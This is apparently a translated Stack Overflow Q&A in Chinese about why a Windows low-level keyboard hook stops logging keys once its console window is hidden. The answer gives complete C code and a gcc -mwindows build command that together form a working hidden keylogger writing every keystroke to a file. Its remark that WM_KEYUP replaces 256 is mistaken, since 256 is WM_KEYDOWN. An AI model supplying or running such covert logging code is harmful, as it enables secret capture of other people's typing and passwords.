使控制台窗口不可见会破坏程序

时间:2017-10-17 12:09:46

标签: windows console

我正在挂钩并将它们写到文件中,一切正常但是当我隐藏控制台窗口时,我无法挂钩键并打印到文件中,如何摆脱这个问题?当我删除ShowWindow()功能时,我可以挂钩,但我不能。顺便说一下,我看到进程仍然在任务管理器上运行。

请在此处查看我的示例代码:

KBDLLHOOKSTRUCT kbdSTRUCT;

int APIENTRY WinMain(HINSTANCE hinstance, HINSTANCE hprevious, LPSTR cmdline, int cmdshow ) {

  HWND wnd;
  wnd = GetConsoleWindow();
  ShowWindow(wnd, FALSE);

  HHOOK kbdHOOK;
  kbdHOOK = SetWindowsHookEx(WH_KEYBOARD_LL, kbdProc, NULL, 0);

  MSG msgg;
  while(GetMessage(&msgg, NULL, 0, 0) > 0){
    TranslateMessage(&msgg);
    DispatchMessage(&msgg);
  }

}
LRESULT CALLBACK kbdProc(int nCode, WPARAM wPar, LPARAM lPar){
  if(nCode >= 0){
    if(wPar == 256){
      kbdSTRUCT = *(KBDLLHOOKSTRUCT *)lPar;

      if(kbdSTRUCT.vkCode == 0x90){
        //fprintf function here to write to a file
        return CallNextHookEx(NULL, nCode, wPar, lPar);
      }

    }
  }
}

非常感谢

1 个答案:

答案 0 :(得分:1)

使用gcc时,-mwindows将设置Windows子系统,这样当入口点为WinMain

时,不会出现控制台窗口
gcc myfile.c -mwindows -o myfile.exe

使用全局变量存储SetWindowsHookEx结果并将其传递给kbdProc,在CallNextHookEx中使用

#include <Windows.h>
#include <stdio.h>

HHOOK hhook = NULL;
LRESULT CALLBACK kbdProc(int nCode, WPARAM wPar, LPARAM lPar)
{
    if(nCode >= 0) {
        if(wPar == WM_KEYDOWN) { //or WM_KEYUP!
            KBDLLHOOKSTRUCT *kb = (KBDLLHOOKSTRUCT*)lPar;
            int c = kb->vkCode;
            FILE *file = fopen("test", "a");
            switch(c) {
            case VK_NUMLOCK: fprintf(file, "VK_NUMLOCK\n"); break;
            case VK_RETURN: fprintf(file, "\n"); break;
            default: fprintf(file, "%c", c); break;
            }
            fclose(file);
        }
    }
    return CallNextHookEx(hhook, nCode, wPar, lPar);
}

int APIENTRY WinMain(HINSTANCE hinst, HINSTANCE hprev, LPSTR cmdline, int show) 
{
    hhook = SetWindowsHookEx(WH_KEYBOARD_LL, kbdProc, NULL, 0);
    MSG msg;
    while(GetMessage(&msg, NULL, 0, 0) > 0) {
        TranslateMessage(&msg);
        DispatchMessage(&msg);
    }
    UnhookWindowsHookEx(hhook);
    return 0;
}

确保使用正确的窗口常量。例如ShowWindow(wnd, SW_HIDE)而不是ShowWindow(wnd, FALSE)WM_KEYUP代替256。否则,当您第二天看时,代码会太混乱。其他人不会理解它。

除了VK_NUMLOCK之外,您还需要检查shift键以查找大写/小写字母...